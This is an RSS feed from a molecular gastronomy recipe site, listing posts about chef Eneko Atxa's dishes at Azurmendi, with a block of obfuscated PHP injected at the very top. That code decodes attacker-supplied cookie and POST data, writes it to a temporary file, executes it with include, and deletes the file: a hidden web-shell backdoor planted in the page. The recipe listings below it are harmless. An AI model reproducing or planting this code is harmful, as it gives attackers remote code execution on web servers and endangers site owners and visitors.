$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}<br />
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	<title>eneko atxa &#8211; Molecular Recipes</title>
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	<itunes:summary>Molecular Gastronomy Recipes</itunes:summary>
	<itunes:author>eneko atxa &#8211; Molecular Recipes</itunes:author>
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	<itunes:subtitle>Molecular Gastronomy Recipes</itunes:subtitle>
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		<title>Foie Gras Ashes on Crystal Bread</title>
		<link>http://www.molecularrecipes.com/surprises/foie-gras-ashes/</link>
		<comments>http://www.molecularrecipes.com/surprises/foie-gras-ashes/#comments</comments>
		<pubDate>Wed, 02 Apr 2014 04:44:11 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Surprises]]></category>
		<category><![CDATA[azurmendi]]></category>
		<category><![CDATA[crystal bread]]></category>
		<category><![CDATA[eneko atxa]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[modernist cuisine]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=8267</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/eneko-atxa/thumbs/thumbs_eneko-atxa-foie-gras-sqr.jpg" alt="eneko-atxa-foie-gras-sqr" title="eneko-atxa" class="wp-post-image ngg-image-1037 " />From 3-Michelin Star Azurmendi in Spain, a restaurant that pushes the boundaries of molecular gastronomy. The delicious smokiness and creaminess of the foie gras is nicely complemented by crunchy Crystal bread.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/surprises/foie-gras-ashes/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
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		<item>
		<title>Oyster with Sea Gel and Aromas</title>
		<link>http://www.molecularrecipes.com/surprises/oyster-sea-gel-aromas/</link>
		<comments>http://www.molecularrecipes.com/surprises/oyster-sea-gel-aromas/#respond</comments>
		<pubDate>Sun, 12 Jan 2014 22:10:42 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Surprises]]></category>
		<category><![CDATA[aromatization]]></category>
		<category><![CDATA[azurmendi]]></category>
		<category><![CDATA[dry ice]]></category>
		<category><![CDATA[eneko atxa]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[ultrasonic infusion]]></category>
		<category><![CDATA[xanthan gum]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=8061</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/eneko-atxa/thumbs/thumbs_eneko-atxa-oyster-sqr.jpg" alt="eneko-atxa-oyster-sqr" title="eneko-atxa" class="wp-post-image ngg-image-1046 " />The creative presentation of this dish will give you a complete sensory experience. Chef Eneko Atxa of Azurmendi has perfected the art of bottling scents in order to add the smell of the sea to this decadent dish.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/surprises/oyster-sea-gel-aromas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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		<item>
		<title>Our Hens Egg, Cooked Inside Out and Truffled</title>
		<link>http://www.molecularrecipes.com/eggs/hens-egg-cooked-reverse-truffled/</link>
		<comments>http://www.molecularrecipes.com/eggs/hens-egg-cooked-reverse-truffled/#comments</comments>
		<pubDate>Wed, 04 Dec 2013 04:41:47 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Eggs]]></category>
		<category><![CDATA[appetizer]]></category>
		<category><![CDATA[azurmendi]]></category>
		<category><![CDATA[egg]]></category>
		<category><![CDATA[eneko atxa]]></category>
		<category><![CDATA[Essentials Kit]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[Premium Kit]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[xanthan gum]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=7796</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/eneko-atxa/thumbs/thumbs_eneko-truffled-egg-sqr.jpg" alt="Eneko Atxa Azurmendi Truffled Egg -sqr" title="eneko-atxa" class="wp-post-image ngg-image-1057 " />This is another brilliant dish created by molecular gastronomy Chef Eneko Atxa of Azurmendi. An egg yolk is carefully pierced, half of the yolk is extracted and then replaced with hot truffle broth which starts cooking the yolk from the inside. An explosion of flavor!]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/eggs/hens-egg-cooked-reverse-truffled/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
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		<item>
		<title>The Experience at 3 Michelin Star Azurmendi</title>
		<link>http://www.molecularrecipes.com/molecular-gastronomy/experience-3-michelin-star-azurmendi/</link>
		<comments>http://www.molecularrecipes.com/molecular-gastronomy/experience-3-michelin-star-azurmendi/#respond</comments>
		<pubDate>Tue, 03 Dec 2013 05:50:23 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Molecular Gastronomy]]></category>
		<category><![CDATA[Molecular Gastronomy Chefs]]></category>
		<category><![CDATA[azurmendi]]></category>
		<category><![CDATA[eneko atxa]]></category>
		<category><![CDATA[molecular gastronomy restaurants]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=7813</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/eneko-atxa/thumbs/thumbs_eneko-atxa-rose-petals-sqr.jpg" alt="Eneko Atxa Eating from Soil rose-petals-sqr" title="eneko-atxa" class="wp-post-image ngg-image-1060 " />Modernist Chef Eneko Atxa delights diners with incredible dishes and a full tour of the facility. Learn what inspires him to create new dishes and what techniques he uses in his molecular gastronomy lab to enhance the dining experience.]]></description>
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		<slash:comments>0</slash:comments>
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		<title>Eneko Atxa: Sustainable Cuisine, Lab, Greenhouse, Winery</title>
		<link>http://www.molecularrecipes.com/molecular-gastronomy/eneko-atxa-azurmendi-sustainable-avant-garde-cuisine/</link>
		<comments>http://www.molecularrecipes.com/molecular-gastronomy/eneko-atxa-azurmendi-sustainable-avant-garde-cuisine/#respond</comments>
		<pubDate>Mon, 02 Dec 2013 07:28:29 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Molecular Gastronomy]]></category>
		<category><![CDATA[Molecular Gastronomy Chefs]]></category>
		<category><![CDATA[azurmendi]]></category>
		<category><![CDATA[eneko atxa]]></category>
		<category><![CDATA[molecular gastronomy restaurants]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=7775</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/eneko-atxa/thumbs/thumbs_eneko-atxa-sqr.jpg" alt="eneko-atxa-sqr" title="eneko-atxa" class="wp-post-image ngg-image-1053 " />Get to know Eneko Atxa, chef/owner of 3 Michelin Star Azurmendi, one of the most sustainable restaurants in the world with its own greenhouse, molecular gastronomy lab and winery.]]></description>
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